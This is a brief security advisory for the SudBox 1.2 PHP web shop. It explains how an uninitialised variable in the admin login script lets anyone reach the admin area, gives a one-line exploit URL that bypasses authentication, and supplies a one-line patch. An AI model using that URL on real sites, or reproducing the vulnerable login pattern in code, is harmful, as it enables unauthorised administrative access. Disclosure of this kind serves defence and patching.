Informations :
°°°°°°°°°°°°°

Website : http://www.sudbox.com
Version : 1.2
Problem : Admin Acess


PHP Code/Location :
°°°°°°°°°°°°°°°°°°°
admin pages (/admin/ directory):

---------------------------------------------
<?
session_start();

if (!session_is_registered('login')) {
header("Location:page_centrale.php");
}
?>
---------------------------------------------


admin/login.php :

-----------------------------------------------------------------
<?
session_start();

include "../configuration.php";

$query = mysql_query("SELECT admin,motdepasse FROM $sbbadmin");


while ($row = mysql_fetch_row($query)) {
if (($row[0] == $admin) && ($row[1] == $motdepasse)) {
$check = "ok";
}
}


if (IsSet($check)) {
$login = $admin;
session_register('login');
include("nav.php");
exit;
} else {
header("Location: page_centrale.php");
}

?>
-----------------------------------------------------------------


Exploit :
°°°°°°°
http://[target]/admin/login.php?check=1&admin=1



Patch :
°°°°°°°
A security patch can be found on http://www.phpsecure.info .

Just add this line :
------------
$check = "";
------------

after this one :

-------------------------------
include "../configuration.php";
-------------------------------

in admin/login.php.


More Details In French :
°°°°°°°°°°°°°°°°°°°°°° http://www.frog-man.org/tutos/SudBoxBoutique.txt






frog-m@n